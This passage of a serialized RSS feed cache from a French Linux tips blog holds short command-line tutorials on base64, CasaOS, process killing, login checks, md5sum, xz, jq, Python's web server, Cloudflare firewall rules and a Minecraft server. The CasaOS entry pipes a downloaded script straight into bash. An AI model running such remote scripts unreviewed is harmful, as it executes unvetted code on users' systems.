+0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:64:"https://azlinux.fr/comment-encoder-et-decoder-une-chaine-base64/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1049:"<img src="https://azlinux.fr/uploads/5762a31c99e7697484ccc80da96b3a61.webp" alt="Featured image of post Comment encoder et décoder une chaîne base64 depuis la ligne de commande ?" /><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;azLinux&#34;</span> <span class="p">|</span> base64
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="nv">YXpMaW51eAo</span><span class="o">=</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;YXpMaW51eAo=&#34;</span> <span class="p">|</span> base64 --decode
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:115;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:26:"Comment installer CasaOS ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:36:"https://azlinux.fr/installer-casaos/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 01 Feb 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:36:"https://azlinux.fr/installer-casaos/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2656:"<img src="https://azlinux.fr/uploads/9306590fc838958eb3c1e6461b412a7a.webp" alt="Featured image of post Comment installer CasaOS ?" /><p><img src="https://azlinux.fr/uploads/486a4a462a17ab0ed4ae22df6bd6064b.webp"
	
	
	
	loading="lazy"
	
	
></p>
<h2 id="installer-casaos">Installer CasaOS</h2>
<p>Cette commande fait tout et installera CasaOS sur votre serveur :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">bash &lt;<span class="o">(</span>wget -qO- https://github.com/IceWhaleTech/get/raw/main/casaos.sh<span class="o">)</span>
</span></span></code></pre></div><p>Si vous ne voulez pas utiliser le port 80, vous pouvez exécuter cette commande et écrire quel port vous choisissez pour CasaOS :</p>
<ol>
<li>Télécharger le script d&rsquo;installation</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">wget -q https://github.com/IceWhaleTech/get/raw/main/casaos.sh
</span></span></code></pre></div><ol start="2">
<li>Ecrit le port sélectionné dans une variable locale</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="nb">read</span> -r -p <span class="s2">&#34;Quel port choisissez-vous ? &#34;</span> NEW_PORT_SELECTED
</span></span></code></pre></div><p>Maintenant, vous devez exécuter cette commande pour changer la valeur écrite dans le script d&rsquo;installation.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sed -i <span class="s2">&#34;s/80/</span><span class="nv">$NEW_PORT_SELECTED</span><span class="s2">/&#34;</span> casaos.sh
</span></span></code></pre></div><p>Et cette dernière commande pour exécuter le script d&rsquo;installation :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">bash casaos.sh
</span></span></code></pre></div><h2 id="désinstaller-casaos">Désinstaller CasaOS</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">bash &lt;<span class="o">(</span>wget -qO- https://github.com/IceWhaleTech/get/raw/main/casaos-uninstall.sh<span class="o">)</span>
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:116;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:67:"Comment tuer un script Python qui tourne en permanence sous Linux ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:85:"https://azlinux.fr/comment-tuer-un-script-python-qui-tourne-en-permanence-sous-linux/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 30 Jan 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:85:"https://azlinux.fr/comment-tuer-un-script-python-qui-tourne-en-permanence-sous-linux/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1028:"<img src="https://azlinux.fr/uploads/3413b7adce4d328f35ebefa4a221c04d.webp" alt="Featured image of post Comment tuer un script Python qui tourne en permanence sous Linux ?" /><p>Afficher une liste des processus :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">ps -ef
</span></span></code></pre></div><p>Affiche une liste des processus dont le nom contient Python :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">ps -ef <span class="p">|</span> grep python
</span></span></code></pre></div><p>Tuer un processus avec son identifiant :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="nb">kill</span> <span class="m">68693</span>
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:117;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:52:"Identifier les connexions suspectes à votre serveur";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:71:"https://azlinux.fr/identifier-les-connexions-suspectes-a-votre-serveur/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 30 Jan 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:71:"https://azlinux.fr/identifier-les-connexions-suspectes-a-votre-serveur/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1431:"<img src="https://azlinux.fr/uploads/5762a31c99e7697484ccc80da96b3a61.webp" alt="Featured image of post Identifier les connexions suspectes à votre serveur" /><p>Vous pensez que quelqu&rsquo;un s&rsquo;est introduit dans votre réseau local voici quelques commandes à essayer afin de trouver le problème.</p>
<p>Pour afficher les dix dernières connexions au serveur, utilisez la commande <code>last</code> suivie de l&rsquo;option <code>-10</code> :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">last -10
</span></span></code></pre></div><p>Pour afficher la liste des utilisateurs actuellement connectés au serveur, utilisez la commande <code>w</code> :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">w
</span></span></code></pre></div><p>Il est également possible d&rsquo;utiliser la commande <code>who</code> pour afficher la liste des utilisateurs actuellement connectés au serveur, mais cette commande ne fournit pas autant d&rsquo;informations que la commande <code>w</code> :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">who
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:118;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:54:"Utiliser md5sum pour créer une chaîne de hachage md5";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:26:"https://azlinux.fr/md5sum/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sun, 30 Jan 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:26:"https://azlinux.fr/md5sum/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1464:"<img src="https://azlinux.fr/uploads/5762a31c99e7697484ccc80da96b3a61.webp" alt="Featured image of post Utiliser md5sum pour créer une chaîne de hachage md5" /><p>La commande <code>md5sum</code> est utilisée pour créer une chaîne de hachage md5 à partir d&rsquo;un fichier ou d&rsquo;une chaîne de caractères.</p>
<ol>
<li>Voici un exemple de commande pour créer une chaîne md5 à partir de la chaîne de caractères &ldquo;azlinux&rdquo; :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="nb">echo</span> -n <span class="s2">&#34;azlinux&#34;</span> <span class="p">|</span> md5sum
</span></span></code></pre></div><ol start="2">
<li>Le résultat de cette commande sera la chaîne md5 suivante :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">b001c11ee3a79ce3551bd5618bdc51fd
</span></span></code></pre></div><p>Vous pouvez également utiliser la commande <code>md5sum</code> pour créer une chaîne md5 à partir d&rsquo;un fichier en utilisant la commande suivante :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">md5sum nom_du_fichier
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:119;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:35:"Comment extraire les fichiers .xz ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:44:"https://azlinux.fr/extraire-les-fichiers-xz/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 29 Jan 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:44:"https://azlinux.fr/extraire-les-fichiers-xz/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1627:"<img src="https://azlinux.fr/uploads/b1f292f4197a0c753e23c076279e7991.webp" alt="Featured image of post Comment extraire les fichiers .xz ?" /><p>Voilà la commande pour installer le programme :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install -y xz-utils
</span></span></code></pre></div><p>Exemple avec l&rsquo;image <a class="link" href="https://www.recalbox.com/fr/download/stable/allimages/"  target="_blank" rel="noopener"
    >Recalbox 8.0.1-Electron</a> :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">wget https://upgrade.recalbox.com/latest/download/rpi4/recalbox-rpi4.img.xz
</span></span></code></pre></div><p>Utiliser cette commande pour extraire l&rsquo;archive <code>recalbox-rpi4.img.xz</code> :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">unxz recalbox-rpi4.img.xz
</span></span></code></pre></div><p>Vous trouverez plus d&rsquo;options en consultant <a class="link" href="https://manpages.debian.org/bullseye/xz-utils/xz.1.en.html"  target="_blank" rel="noopener"
    >les man-pages Debian</a> ou en utilisant cette commande :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">man xz
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:120;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:31:"Comment utiliser jq avec wget ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:49:"https://azlinux.fr/comment-utiliser-jq-avec-wget/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 29 Jan 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:49:"https://azlinux.fr/comment-utiliser-jq-avec-wget/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2272:"<img src="https://azlinux.fr/uploads/ca2d0d2df5bbad21b55849a0bd7426bb.webp" alt="Featured image of post Comment utiliser jq avec wget ?" /><p>Jq peut s&rsquo;avérer très utile pour traité des données JSON en ligne de commande. Je l&rsquo;utilise notamment pour me connecter à des API et récupérer par exemple les URL de téléchargement.</p>
<p>Tout d&rsquo;abord, il faut commencer par installer le programme :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install -y jq
</span></span></code></pre></div><p>Exemple avec GitHub :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">wget -q <span class="k">$(</span>wget -O - -q https://api.github.com/repos/ventoy/Ventoy/releases/latest <span class="p">|</span> jq --raw-output <span class="s1">&#39;.assets[1] | .browser_download_url&#39;</span><span class="k">)</span>
</span></span></code></pre></div><p>Cette commande récupère la dernière image ISO de l&rsquo;outil <a class="link" href="https://github.com/ventoy/Ventoy/"  target="_blank" rel="noopener"
    >Ventoy</a>.</p>
<p>Autre exemple avec une API d&rsquo;un générateur de mot de passe :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">wget -O - -q <span class="s2">&#34;https://api.motdepasse.xyz/create/?include_digits&amp;password_length=12&amp;quantity=1&#34;</span> <span class="p">|</span> jq .<span class="s1">&#39;passwords[0]&#39;</span> <span class="p">|</span> sed <span class="s1">&#39;s/&#34;//g&#39;</span>
</span></span></code></pre></div><p><a class="link" href="https://www.motdepasse.xyz/api/"  target="_blank" rel="noopener"
    >Documentation officiel</a> pour plus d&rsquo;informations sur l&rsquo;API.</p>
<p>Pour les personnes qui ne sont pas très à l&rsquo;aise avec le format JSON, je vous conseille ce <a class="link" href="http://jsonselector.com/"  target="_blank" rel="noopener"
    >site</a> pour générer les sélecteurs pour accéder aux données.</p>
";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:121;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:44:"Pourquoi utiliser Python comme serveur web ?";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:62:"https://azlinux.fr/pourquoi-utiliser-python-comme-serveur-web/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 29 Jan 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:62:"https://azlinux.fr/pourquoi-utiliser-python-comme-serveur-web/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1253:"<img src="https://azlinux.fr/uploads/3413b7adce4d328f35ebefa4a221c04d.webp" alt="Featured image of post Pourquoi utiliser Python comme serveur web ?" /><p>Pour ceux et celles qui ne veulent pas se prendre la tête à installer un serveur web, Python est la solution en effet disponible sur toutes les distributions celui-ci vous permet de récupérer des fichiers sur son réseau local simplement plutôt que d&rsquo;utiliser le protocole <a class="link" href="https://fr.wikipedia.org/wiki/File_Transfer_Protocol"  target="_blank" rel="noopener"
    >FTP</a>.</p>
<p>Voilà la ligne de commande pour lancer le serveur web :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">python3 -m http.server <span class="m">8000</span>
</span></span></code></pre></div><p>Pour afficher les fichiers d&rsquo;un autre répertoire que celui dans lequel nous nous trouvons :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">python3 -m http.server <span class="m">8000</span> --directory /var/www/html
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:122;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:59:"Renforcez la sécurité de vos services web avec Cloudflare";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:77:"https://azlinux.fr/renforcez-la-securite-de-vos-services-web-avec-cloudflare/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 29 Jan 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:77:"https://azlinux.fr/renforcez-la-securite-de-vos-services-web-avec-cloudflare/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:3643:"<img src="https://azlinux.fr/uploads/7d6389c10c1f3ce45fdd8ca0eb09f8a2.webp" alt="Featured image of post Renforcez la sécurité de vos services web avec Cloudflare" /><p>Si vous souhaitez rendre inaccessible l&rsquo;accès aux connexions entrantes autre que Cloudflare voici quelques commandes utiles. À noter, il est nécessaire que le proxy soit activé.</p>
<p>Si votre serveur ne dispose que de l&rsquo;IPv4 :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">for</span> i in <span class="sb">`</span>curl -s https://www.cloudflare.com/ips-v4<span class="sb">`</span><span class="p">;</span> <span class="k">do</span> iptables -I INPUT -p tcp -s <span class="nv">$i</span> --dport http -j ACCEPT<span class="p">;</span> <span class="k">done</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="k">for</span> i in <span class="sb">`</span>curl -s https://www.cloudflare.com/ips-v4<span class="sb">`</span><span class="p">;</span> <span class="k">do</span> iptables -I INPUT -p tcp -s <span class="nv">$i</span> --dport https -j ACCEPT<span class="p">;</span> <span class="k">done</span>
</span></span></code></pre></div><p>Et si votre serveur dispose de l&rsquo;IPv6, il sera nécessaire d&rsquo;appliquer ces deux filtres supplémentaires.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">for</span> i in <span class="sb">`</span>curl -s https://www.cloudflare.com/ips-v6<span class="sb">`</span><span class="p">;</span> <span class="k">do</span> ip6tables -I INPUT -p tcp -s <span class="nv">$i</span> --dport http -j ACCEPT<span class="p">;</span> <span class="k">done</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="k">for</span> i in <span class="sb">`</span>curl -s https://www.cloudflare.com/ips-v6<span class="sb">`</span><span class="p">;</span> <span class="k">do</span> ip6tables -I INPUT -p tcp -s <span class="nv">$i</span> --dport https -j ACCEPT<span class="p">;</span> <span class="k">done</span>
</span></span></code></pre></div><p>C&rsquo;est quelques lignes télécharge depuis le site web de Cloudflare leur adresse IP. Et pour ceux et celles qui ne connaissent pas <code>iptables</code> joue le rôle de firewall. <a class="link" href="https://fr.wikipedia.org/wiki/Iptables"  target="_blank" rel="noopener"
    >Lien vers la page Wikipédia</a>.</p>
<p>Il est nécessaire ensuite de bloqué l&rsquo;accès à toute adresse IP autre que Cloudflare.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">iptables -A INPUT -p tcp --dport http -j DROP
</span></span><span class="line"><span class="ln">2</span><span class="cl">iptables -A INPUT -p tcp --dport https -j DROP
</span></span><span class="line"><span class="ln">3</span><span class="cl">ip6tables -A INPUT -p tcp --dport http -j DROP
</span></span><span class="line"><span class="ln">4</span><span class="cl">ip6tables -A INPUT -p tcp --dport https -j DROP
</span></span></code></pre></div><p>Pour appliquer ses filtres, il ne faut pas oublier d&rsquo;appliquer les changements :</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">iptables-save
</span></span></code></pre></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:123;a:6:{s:4:"data";s:63:"
        
        
        
        
        
        
        ";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:1:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:70:"Tutoriel pour mettre en place un serveur Minecraft sur un Raspberry Pi";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:90:"https://azlinux.fr/tutoriel-pour-mettre-en-place-un-serveur-minecraft-sur-un-raspberry-pi/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 26 Jan 2022 09:00:00 +0100";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:90:"https://azlinux.fr/tutoriel-pour-mettre-en-place-un-serveur-minecraft-sur-un-raspberry-pi/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:4064:"<img src="https://azlinux.fr/uploads/fb12a934a8273c958d02423f56e7a395.jpg" alt="Featured image of post Tutoriel pour mettre en place un serveur Minecraft sur un Raspberry Pi" /><ol>
<li>Tout d&rsquo;abord, vous devez récupérer la dernière image Raspberry Pi OS (64 bits). Vous pouvez la télécharger à l&rsquo;adresse suivante :</li>
</ol>
<blockquote>
<p><a class="link" href="https://downloads.raspberrypi.org/raspios_arm64/images/raspios_arm64-2022-09-26/2022-09-22-raspios-bullseye-arm64.img.xz"  target="_blank" rel="noopener"
    >https://downloads.raspberrypi.org/raspios_arm64/images/raspios_arm64-2022-09-26/2022-09-22-raspios-bullseye-arm64.img.xz</a></p>
</blockquote>
<ol start="2">
<li>Flasher l&rsquo;image en utilisant le logiciel et avant utiliser cette commande <code>Ctrl+Shift+X</code> pour afficher les paramètres supplémentaires activer le SSH et paramétrer le mot de passe</li>
</ol>
<blockquote>
<p><a class="link" href="https://www.raspberrypi.com/software/"  target="_blank" rel="noopener"
    >https://www.raspberrypi.com/software/</a></p>
</blockquote>
<ol start="3">
<li>Ensuite, vous devez télécharger le fichier d&rsquo;installation de Spigot Minecraft. Pour ce faire, ouvrez un terminal et utilisez la commande suivante :</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">wget https://hub.spigotmc.org/jenkins/job/BuildTools/lastSuccessfulBuild/artifact/target/BuildTools.jar
</span></span></code></pre></div><ol start="4">
<li>Télécharger le paquet Java, Git et Screen</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">sudo apt install -y openjdk-17-jdk git screen
